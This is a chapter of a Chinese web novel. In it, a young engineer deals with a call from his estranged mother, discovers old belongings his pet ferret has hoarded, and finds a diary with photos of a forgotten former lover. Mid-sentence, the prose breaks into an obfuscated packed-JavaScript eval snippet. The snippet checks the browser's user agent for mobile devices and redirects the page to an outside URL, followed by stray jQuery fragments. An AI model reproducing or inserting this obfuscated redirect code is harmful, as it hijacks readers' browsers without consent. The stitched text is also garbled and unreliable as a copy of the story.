34. 日记本

作品:《养只雪貂当晚餐

    空气安静下来,周围的嘈杂声被这一句话尽数掩盖,路盛绥停下脚步。


    他面无表情地拿下手机,看了眼屏幕,发现这个号码他并没见过。


    现在知道了。


    他二话不说,几乎立刻就要将这个号码拉黑。


    “你不接我电话,我只能找言言打给你,先别急着拉黑,听我说完可以吗?”


    沈盈太了解他,在他下手前道出解释。


    路盛绥垂下眼睫,手指停在拉黑按钮上方,沉默不语。


    他不说话,就是让步了,沈盈十分清楚这一点,语气便缓了缓,恢复了以往的肃厉正经。


    “你一直没回消息,我就直接说了,你和言言见过面,应该知道我们回国了,你是我大儿子,沈家的家宴你必须到场。”


    夕阳降落,火红的余晖大方地在草地上流淌,将一切染成了暖橙色。不远处的人群慢慢散去,雪貂吐着水润小巧的舌尖,一边打滚一边朝他开心地跑来。


    路盛绥直勾勾盯着裴希简,眉眼逐渐舒展,语气却仍是冷至冰窖:“沈家,呵,你应该忘了,我姓路。”


    电话对面沉默下来。


    “小绥……你的名字,也有妈妈的期许,不是吗?”


    路盛绥没有出声,沈盈继续说:“如果你在意这个,家宴名单上,我会改成沈绥。”


    沈绥,是路盛绥的曾用名,是离婚后沈盈给他取的名字。沈盈无数次庆幸,当初给路盛绥取名时将自己的姓氏放在了第二位,改名后也不突兀,就像在叫小名一样。


    不过这个名字存在的时间不长,沈盈再婚后,有了沈嘉言,某天忙里抽闲给路盛绥的外婆打了个电话,才知道这小孩又自己将名字改了回去。


    当时她就没明白路盛绥改名的意味,现在也没能理解,只当儿子还在因为自己的忙碌赌气。


    听见这话,路盛绥微微勾起一边唇,似是自讽:“不用了,我只叫路盛绥,也没什么其他的意思,就是不理解。”


    他不理解,明明名字里包含了父母的姓氏和期待,为什么还能闹成这样?


    沈盈一时哑声,不知道该说什么。


    雪貂跑至路盛绥的脚下,张开前爪一把拥住他的裤腿,四爪并用地往上爬。


    感受到身上窸窣的小动静,路盛绥目光变得温柔,又迟迟没听见沈盈开口,静默片刻,才说:“有时间就去,挂了。”


    只听沈盈低低应了一声,他按下挂断键,将手机收了起来。


    裴希简毛茸茸的脸贴贴他的,哼哼唧唧地问:“咕咕咕?”


    路盛绥捡起落在地上的牵引绳,说:“下周要去一个宴会,可能要到很晚,我让郑姨陪你到睡着,嗯?”


    雪貂闻言,炸起的毛登时萎了下去,噗通一声挂在了他的肩膀,蔫不拉几地点了点头。


    话是这样说,变动总是来得猝不及防。


    家宴开始的前两天,郑姨敲响了书房的门。


    临近年末,路盛绥加班加点,只为了一代机器人能够尽快推出,这几天从工作室回来,还会在书房工作到凌晨。


    见他不睡,裴希简再困也不肯睡,跟着他走来走去,他在电脑前坐下,雪貂就爬上他的大腿守着他,有时候实在精虫上脑,就靠着小腹打盹,小脑袋一点一点,越来越快地磕在路盛绥的腹肌上。


    腹部多了个沉甸甸毛茸茸的暖宝宝,刚开始路盛绥还会分心,实在受不了了就将雪貂扔去懒人沙发上,后来一人一貂逐渐习惯,雪貂不打瞌睡了,人也不扔貂了。


    郑姨看出他的忙碌,晚上会抽空过来一趟,给他做夜宵。


    路盛绥拒绝了几次,都被郑姨撇过去,只得作罢。


    晚上十点半,郑姨端着一碗热汤,照例推开了房门。


    夜宵被放在桌上,蜷在腿上的雪貂倏地抬起了脑袋,路盛绥顺手搓了下他的头,从电脑屏幕上抬起眼,笑了笑:“谢谢,现在很晚了,郑姨您先回去吧。”


    郑姨点了点头,嘱咐道:“你也是,别老是熬夜。”


    说完,她又看向雪貂,说:“盼盼都被你带坏了,以往九点钟就要睡觉嘞。”


    裴希简哼哼两声以示赞同,放松全身,像块糯米糍瘫在路盛绥怀里,用脑袋轻轻撞了下他坚硬的腹肌。


    路盛绥被他顶得闷笑了下,点头说是:“忙完这阵就好了。”


    郑姨看着他们,和善地笑起来,将一包东西放上桌,说:“对了,小路,这些是盼盼这几天囤起来的东西,我打扫的时候看见了就收起来了,我感觉眼熟,但不知道从哪里翻出来的,又觉得挺重要的,就想着直接交给你吧。”


    路盛绥挑了挑眉,打开包裹,入目就是他的一堆小东西。


    都是些乱七八糟的旧玩意儿——他戴过的耳钉和项链、不知何时买来的书、某个丢失很久的乐高零件……


    反正五花八门,零零散散加起来也有十几件了。


    路盛绥有些愕然:“这些东西你到底是从哪里找出来的?”


    裴希简眼看自己藏起来的心血被人一窝端了,急得连蹦带跳地上了桌,张开四肢唰的扑进袋子里,用身体捍卫这些小东西。


    他毛多,袋子本来就不大,圆滚滚的身体挤进去,就有一个圆柱形的东西顺着袋口溜了出来。


    眼看就要滚下桌,路盛绥眼疾手快地伸手接住了。


    看清楚是什么东西后,他微微一怔。


    这是一根半手长的笔,顶端还坐着一个小娃娃,正笑嘻嘻地望着他。


    娃娃的脸颊有些黑了,笔身也有些旧,看起来被使用过很多次。


    这是一只有些年头的点读笔。


    一看就是小孩用的,怎么会在他家里?


    路盛绥微蹙起眉,低头看向护食的雪貂,问:“这是从哪里翻出来的?”


    裴希简急着将这些宝贝往怀里塞,浅浅瞅了他一眼,“咕咕”两声,要多随意就有多随意。


    他听不懂,倒是郑姨回忆起来,说:“前两天盼盼发现了画后面的小门,非要进去,拦他就要撕画,我就开了条小缝,想着他应该钻不进去,谁想竟然挤进去了。”


    路盛绥眯起眼,似乎也才想起来自家还有这么一个房间,问:“储物间?”


    “对对,”郑姨点头,“你当初是这么和我说的,不过你一直锁着,我也没钥匙,没进去过。”


    说到这个,郑姨像是突然被点醒,说:“小路你也好久没进去看过了,还是要抽时间去打扫一下,免得落灰发霉。”


    路盛绥默默听着,视线再次回到手里的点读笔上。


    从储物间拿出来的?可他一个大男人,储物间怎么会有这个东西?


    他按下点读笔上的开关,没有反应。


    没电了。


    他思忖片刻,然后拉开一个抽屉,找到了适配的接口,给笔充上了电。


    笔身上亮起了一个红色星星,看得裴希简出了神。


    这只点读笔有点年头,还是老式的充电模式,不支持快充,想要充满电正常使用可能需要点时间。


    路盛绥将点读笔小心放下,又将雪貂从袋子里捞出来,对郑姨说:“谢谢,以后找到的东西也放起来一起给我。”


    郑姨应了下,视线看向路盛绥,又忽然想起来什么,没往外走,面露犹豫,纠结开口:“小路,你妈妈给我打电话了。”


    没料到她会提及沈盈,路盛绥动作一顿,疑惑地抬起头。


    郑姨说:“过几天的宴会,她邀请我去参加,我不好拒绝。”


    路盛绥着实愣住了。


    时间过得太久,他都忘记了,郑姨最开始是沈盈给他找的保姆。


    那时他从江市的县城搬回京城市区,沈盈又出了国,原本想把他也带去国外,但他死活不肯,留在这里也没人照顾,于是沈盈花钱请来了郑姨。


    郑姨对他好,从某种程度上来说,郑姨算是看着他长大的,也相当于半个亲人了,但路盛绥也没想到沈盈竟然会邀请她。


    郑姨有些无措:“小路,那天盼盼怎么办?”


    路盛绥垂下眼,与仰头看他的雪貂对上目光,安静片刻,才说:“他和我一起,不用担心。”说着他抬起眼,看向神色焦虑的郑姨,又说:“郑姨,您不用紧张,有任何问题都可以找我。”


    “好,好的。”郑姨点点头,闷头往外走,在拉开房门前,又想明白什么似的突然回过头,见路盛绥和怀里的雪貂正齐齐看着她。


    “啊,那个,小路啊。”她双手放在身前不停揉搓着,紧张得不知道应该说什么。


    路盛绥耐心地点点头:“嗯。”


    郑姨见状,终于下定决心,说:“宴会那天,穿着有规定吗?我……没参加过,不太懂这些。”


    路盛绥露出一个微笑,摇摇头:“没有规定,合适得体就可以,郑姨您怎么舒服怎么来。”


    “是吗?”郑姨语气惊讶,“我看网上说,参加宴会,都要定制服装的嘞!我也搞不懂这些。”


    “没那么夸张,稍微打扮一下就好,郑姨您放宽心。”路盛绥语气低沉,听起来令人信服。


    郑姨顿时松了一口气:“这样啊,那我知道了,谢谢你啊小路。”


    路盛绥摆摆手:“没事,还有疑问随时找我。”


    “诶好。”郑姨应下,离开时再次叮嘱:“你们也早点休息。”


    门外的动静很快消失,郑姨走了。


    裴希简一心想着自己那堆宝贝,从路盛绥怀里挣脱出来,再次跳上桌。


    路盛绥也没管他,他逐一拉开书桌的抽屉,埋头翻找。


    雪貂将袋子里的东西数了数,还好,还有一些没被找到。


    虽然他自己也不记得藏了什么东西。


    裴希简左右看看,见桌前那人垂着头压根没看他,便抿住唇,转了个身,用屁股对人,一点一点往电脑旁挪。


    距离点读笔只差一块雪饼,雪貂觉得差不多了,悄悄地探出前爪。


    就在小爪子即将摸到笔身时,一只大手突然偷袭了他的屁股。


    “干嘛呢?”路盛绥看着掩耳盗铃的雪貂,用虎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050392|191402||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    口卡住他的两只后腿,轻轻往外移了点距离,正好到裴希简够不着的地方。


    裴希简:“……”


    他忿忿抬头,看见了一双盛着笑意的眸子。


    还笑!


    “咕咕咕咕咕!”


    他气得大喊一通。


    这是我找到的东西!你不准拿回去!


    路盛绥嘴角扬起来,揉了揉雪貂头顶的绒毛,说:“不抢你东西。”


    说着,他变魔术般不知从哪里掏出来一块旺旺雪饼,裴希简立刻稍息立正站好。


    看着泛着银光的尾巴轻轻摇晃起来,路盛绥目光漾出笑意,勾着唇说。


    “这一整块都给你,你帮主人完成一项任务。”


    这是他第一次自称自己为“主人”,裴希简足足愣了一分钟,才猛然回神闭上嘴,刚要说话,又发现自己不知道说什么,只能一莽头冲去客厅,一掌拍下按钮。


    “盼盼,讨厌,哥哥。”


    路盛绥笑了下,无奈耸耸肩,眼底情绪宠溺,踩上拖鞋走出去。


    他还没走到客厅,站在书房,又听见按钮出声:“好。”


    下一秒,雪貂摇着尾巴出现在他面前,侧过头害臊似的不肯看他,脑袋却点了点。


    路盛绥被他逗笑,掰下一小块雪饼,蹲下身递给雪貂。


    “那就麻烦你了,我想找一把钥匙,我没记错的话,应该是金色的,和你的爪子一样大。”他将叼着雪饼的雪貂抱起来,抬脚返回书房。


    接下这个任务,雪貂每天尽职尽力,耸着鼻子去钻家里的犄角旮旯,但他的视力不行,找东西几乎全靠气味,那把钥匙鬼知道丢了多久,没有路盛绥的气味,寻找起来也困难极了。


    他找了两天,直到沈家家宴的前一晚,也没能找到钥匙,倒是郑姨又收拾了一箩筐他藏起来的旧物。


    路盛绥简单翻了下,最后手指停在了一本天蓝色的本子上,封面上还贴满了各式各样的宝可梦贴画,乍一眼看去眼花缭乱。


    这是?


    他不记得自己还有这么卡通的本子,他本人也不会这么无聊把贴画都贴上去,毁坏美观。


    难道是他之前上课时不小心捎来的?


    路盛绥轻轻皱眉,想了想,还是翻开了本子。


    第一页不是宝可梦了,而是写了一整页的“嘻”。


    路盛绥:“……”


    这一面起码写了一百个嘻,变换了好几种形式,看得路盛绥差点都要不认识这个字。


    确定了,这肯定不是他的本子。


    他正要关上,视线又突然定住。


    一堆“嘻”字中,竟然出现了他的名字,关键是,字体与笔锋和自己学生时期的一模一样。


    怎么回事?


    这下好了,这本本子即使不是他自己的,估计也与他脱不了关系。


    路盛绥:“。”


    他突然有点没勇气翻下去。


    他还有这么中二的时期,要是被顾柏易他们知道,能笑够一整年。


    足足做了一分钟心理准备,他终于往下翻页。


    他不敢多看,生怕看见什么更羞耻的东西,他囫囵地翻,直到厚厚的本子自动停下,展现其中的一面。


    这一面的纸张看起来比其他页面的更薄一些,也有些泛黄,中间装订线的位置被压得很宽,轻而易举就能完整看见全页,看上去像是被翻过很多次。


    而这页上也不再只有文字,还出现了四张拍立得相片。


    一张是一束开得正烈的玫瑰,一张是两只十指紧握的手掌,中指上的戒指被阳光照得极亮。


    另外两张照片上都是路盛绥。


    我去,自己还这么自恋?


    路盛绥嘴角不动声色地扯了扯,心态有些崩。


    不过他很快发现不对,照片上不止有他,还有另一个人,站在他的身边,占据照片的另一半。


    许是时间太长,脸部已经看不太清,路盛绥眯眼凑近,也只能辨认出自己。


    两人的姿势说不上亲密,但绝不陌生,看上去很是暧昧。


    另一人看不清表情,自己倒是很清晰,不过每一张都只能看见侧脸罢了,还分得正正好,左右脸各一张,正好凑一起,无伤大雅。


    不过就算只能看见半张脸,路盛绥都不相信自己能露出那样温柔的神情。


    带着欣赏的、欢喜的、依恋的表情,怎么可能是他!


    他脊背发凉,心跳莫名加快,仿若打擂鼓,视线不自觉下移,然后全身顿时僵住。


    照片下写了短短两句话,特别简单的两句话。


    一个陌生又青涩的字体写下——我爱你。


    下面跟了一行字,是回复。


    ——我最爱你。


    路盛绥认出,这是他自己的笔迹。


    他不记得这些拍立得是何时拍下的,也无从知晓当天发生了什么,但通过这两句话,他大概明白这是什么了。


    这算什么?


    八年后,他找到了他和完全没记忆的前任的日记本?